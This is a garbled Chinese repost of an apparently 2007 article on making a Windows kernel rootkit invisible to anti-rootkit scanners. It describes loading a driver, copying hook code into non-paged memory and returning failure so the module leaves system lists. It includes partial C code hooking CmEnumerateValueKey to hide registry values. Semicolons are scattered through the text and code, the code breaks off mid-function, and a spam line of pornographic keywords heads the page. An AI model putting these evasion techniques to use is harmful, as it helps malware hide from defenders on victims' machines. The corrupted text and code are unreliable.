日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

ZT 饒過現(xiàn)代Anti-Rookit工具的內(nèi)核模塊掃描

MJ0011
th_decoder@126;.;com
2007;-;10;-;24

本文描述了一些方法 , 可以饒過目前主流的現(xiàn)代Anti;-;rootkit工具 , 包括但不限于;:
Icesword;最新版
Gmer最新版
Rootkit;unhooker;最新版
DarkSpy;最新版
AVG;Anti;-;rootkit最新版
等等

目前的anti;-;rootkit工具中 , 對(duì)于內(nèi)核模塊主要采用如下幾種掃描方式;:

1.;恢復(fù)ZwQuerySystemInformation的hook;,;然后利用功能號(hào)SystemModuleInformation進(jìn)行枚舉
例如Icesword

2.;遍歷PsLoadModuleList;,;Driver;/;Device;/;Section;Object鏈;,;或者TypeList鏈等;(;總之是找驅(qū)動(dòng)相關(guān)對(duì)象;);進(jìn)行枚舉
例如Rootkit;Unhooker;,;Gmer等

3.;內(nèi)核鏡象暴力搜索;,;搜索MZ;,;PE等等標(biāo)志結(jié)合進(jìn)行判斷內(nèi)存里是否有PE鏡象;,;如rootkit;unhooker;,;rutkowska的modgreper等 , 通常只能顯示為unknow;image

4.;函數(shù)引用;,;各種routine/hook等;,;先HOOK一些常用函數(shù) , 然后當(dāng)驅(qū)動(dòng)去調(diào)用這些函數(shù)時(shí) , 記下其地址 , 檢測(cè)時(shí)使用;,;或者是根據(jù)各種;routine;(;dispatch;routine;,;IDT;,;Image;Notfiy等;);或各種hook;(;inline;hook;,;iat;/;eat;hook等等;); , 通常只能顯示為unknow;image或unknow;xxx;handler等

5.;使用系統(tǒng)ImageLoad;Notfiy;,;使用一個(gè)BOOT驅(qū)動(dòng) , 記錄所有模塊load的消息;,;檢測(cè)時(shí)進(jìn)行分析;如AVG;Anti;-;rootkit等

先說饒過;1;,;2;,;3;,;5;的辦法
很簡(jiǎn)單 , 使用諸如ZwSetSystemInformation的函數(shù)加載驅(qū)動(dòng) , 然后在DriverEntry中分配NonPagedPool的內(nèi)存 , 然后將功能代碼;/;函數(shù)copy到該內(nèi)存中 , 然后進(jìn)行必要的HOOK , 最后返回STATUS_UNSUCCESSFULL;.

這樣驅(qū)動(dòng)在PsLoadModuleList、各種對(duì)象鏈里就消失了 , 自然也就不存在于ZwQuerySystemInformation枚舉的列表里
需要注意的是 , copy到內(nèi)存中的代碼要盡量簡(jiǎn)單 , 基本不會(huì)生成需要重定位的代碼了 , 但調(diào)用系統(tǒng)函數(shù)還是要另想辦法

我的某個(gè)RK里是這樣做的 , 例如A;Function用來hook;系統(tǒng)函數(shù)B;,;其中需要調(diào)用系統(tǒng)函數(shù)C ,

那么分配一塊內(nèi)存 , 大小;=;len;(;A;); ;sizeof;(;ULONG;);*;2

在內(nèi)存的前兩個(gè)DWORD放OrgB;,;以及C的地址 , 后面開始放函數(shù)代碼

函數(shù)中使用call; ;5;對(duì)自身的位置進(jìn)行定位 , 找到內(nèi)存開始的位置 , 然后得到OrgB和C

當(dāng)然也可以在COPY入內(nèi)存前自己用絕對(duì)地址定位函數(shù);~;不過不如這個(gè)方法靈活

相關(guān)代碼;:
//hook;call;CmEnumerateValueKey

void;InstallCMRegHook;()
{
PVOID;_CmEnumerateKeyValueLoc


_CmEnumerateKeyValueLoc;=;FindCmEnumerateValueKey;();
//找到;call;CmEnumerateValueKey

HookCodeLen;=;(;ULONG;);NopFunc8;-;(;ULONG;);NewCmEnumerateValueKey
//獲得NewCmEnumerateValueKey長(zhǎng)度

HookCode3;=;ExAllocatePoolWithTag;(;NonPagedPool;,
HookCodeLen; ;4;,
MEM_TAG_HOOKCODE3;);

//分配內(nèi)存

*(;ULONG;*);HookCode3;=;*(;ULONG;*);_CmEnumerateKeyValueLoc

//原函數(shù)地址放入內(nèi)存

RtlCopyMemory;((;PVOID;);HookCode3; ;sizeof;(;ULONG;);,;(;PVOID;);NewCmEnumerateValueKey;,;HookCodeLen;);

//copy函數(shù)代碼

DO_SPINLOCK;();
*(;ULONG;*);_CmEnumerateValueKeyLoc;=;HookCode3; ;sizeof;(;ULONG;);

//進(jìn)行HOOK

EXIT_SPINLOCK;();
return

}

NTSTATUS;NewCmEnumearateValueKey;(;IN;PVOID;KeyControlBlock;,
IN;ULONG;Index;,
IN;KEY_VALUE_INFORMATION_CLASS;KeyValueInformationClass;,
IN;PVOID;KeyValueInformation;,
IN;ULONG;KeyLength;,
IN;PULONG;ResultLength
)
{
//下面找到本函數(shù)開始地址 , 并獲得保存在內(nèi)存中的OrgCmEnumerateValueKey的地址

    推薦閱讀